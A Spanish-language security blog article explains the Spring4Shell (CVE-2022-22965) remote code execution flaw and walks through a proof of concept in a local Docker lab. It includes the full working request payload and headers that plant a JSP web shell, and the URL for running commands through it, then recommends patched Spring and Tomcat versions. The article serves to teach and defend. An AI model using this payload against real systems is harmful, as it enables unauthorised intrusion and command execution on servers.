Spring4shell: Vulnerabilidad de Spring Framework

· · | Ciberseguridad · Noticias en Spring4shell: Vulnerabilidad de Spring Framework

Tras la aparición de Log4Shell, muchos servicios Java estaban en riesgo de ser atacados. Hoy con la llegada de Spring4Shell, el escenario pareciera ser el mismo. Aunque esta vulnerabilidad requiere ciertas condiciones para su explotación, es una vulnerabilidad que debes tener en cuenta.

¿Qué es Spring Framework?

Spring es un framework de código abierto que facilita la creación de aplicaciones de todo tipo en Java, con soporte para Groovy y Kotlin. Tiene una estructura modular y gran flexibilidad para implementar diferentes tipos de arquitectura según las necesidades de la aplicación.

La vulnerabilidad encontrada en el núcleo de Spring Framework se denomina Spring4Shell, y entra en la categoría RCE (Remote Code Execution). Spring4shell hereda el nombre de Log4Shell, una vulnerabilidad conocida que fue revelada hace unos meses.

¿En qué consiste una ejecución remota de código?

Una ejecución remota de código (RCE), permite a un atacante poder ingresar código a un sitio web con la finalidad de ejecutar funciones y código arbitrario.

Muchos atacantes utilizan esta vulnerabilidad para poder ejecutar funciones en el lenguaje de programación web correspondiente con la finalidad de ejecutar comandos del sistema, ya sea en windows, Linux, macOS entre otros.

Un ejemplo de esto es la función system en PHP y C o la función exec en Java.

Impacto de Spring4Shell

Spring es un marco de trabajo muy utilizado por los desarrolladores de Java, lo que significa que muchas aplicaciones son un blanco para los atacantes a través de esta vulnerabilidad.

Las aplicaciones Java vulnerables a Spring4Shell corren un gran riesgo ya que existen explotaciones públicas de esta vulnerabilidad en Internet.

Por ello, varios atacantes realizan escaneos automáticos de las aplicaciones publicadas en Internet para detectar y explotar esta vulnerabilidad.

¿Cómo funciona Spring4Shell?

La vulnerabilidad Spring4Shell se origina debido a la posibilidad de evadir las medidas de seguridad implementadas para solventar la vulnerabilidad con identificador CVE-2010-1622.

Para la explotación de Spring4Shell se requiere que un atacante envíe una solicitud HTTP manipulada a un sistema expuesto. Aun así, para explotar la vulnerabilidad de forma exitosa, el atacante requiere investigar algunas opciones del sistema para determinar el payload especifico a utilizar y además, deben darse ciertas condiciones específicas para su correcta explotación.

Si la vulnerabilidad es explotada correctamente, los atacantes no autenticados pueden ejecutar código arbitrario en el sistema de destino. De esta manera, un atacante puede almacenar un archivo malicioso en el servidor comprometido y ejecutar comandos de sistema de manera remota (RCE).

Prueba de concepto de Spring4Shell

Para la prueba de concepto (PoC) usaremos containers de docker. Se debe descargar el archivo de configuración de docker compose en el siguiente enlace.

Lo descargamos con el siguiente comando:

wget https://github.com/vulhub/vulhub/raw/master/spring/CVE-2022-22965/docker-compose.yml

Luego, ejecutamos el docker-compose:

-$ docker-compose up -d
Creating cve202222965_spring_1 ... 
Creating cve202222965_spring_1 ... done

Verificamos que el servicio se encuentra en ejecución accediendo desde el navegador a la siguiente url:

http://localhost:8080/?name=InfinitySpa&age=2

Si todo ha salido correctamente, visualizaremos un sitio web:

Modificamos el archivo /etc/hosts para un mejor entendimiento de la explotación:

127.0.0.1	pocspring

Probamos que el request se envía correctamente e interceptamos esta solicitud desde Burp Suite para luego enviar esta al Repeater:

spring4shell

Para realizar la explotación de la vulnerabilidad agregaremos los siguientes headers:

suffix: %>//
c1: Runtime
c2: <%
DNT: 1

Y consultamos el siguiente recurso:

/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

En esta solicitud, es posible observar que se está intentando subir (al servidor a explotar) el archivo JAR tomcatwar, el cual a través de la función exec permite ejecutar comandos del sistema:

spring4shell

Si se ha explotado la vulnerabilidad de forma exitosa, se podrá ejecutar comandos del sistema operativo a través de la siguiente url:

http://pocspring:8080/tomcatwar.jsp?pwd=j&cmd=COMANDO

Como podemos ver en la respuesta de Burp Suite, es posible ejecutar los comandos de sistema que ingresemos:

spring4shell

Conclusiones y recomendaciones contra Spring4Shell

Dado el impacto de dicha vulnerabilidad, se recomienda realizar una actualización completa del Spring Framework a las versiones seguras a la fecha 5.3.18 o 5.2.20.

También, se recomienda actualizar Apache Tomcat a las versiones 10.0.20, 9.0.62 y 8.5.78 (seguras a la fecha), en las que el vector de ataque está mitigado por el lado de Tomcat.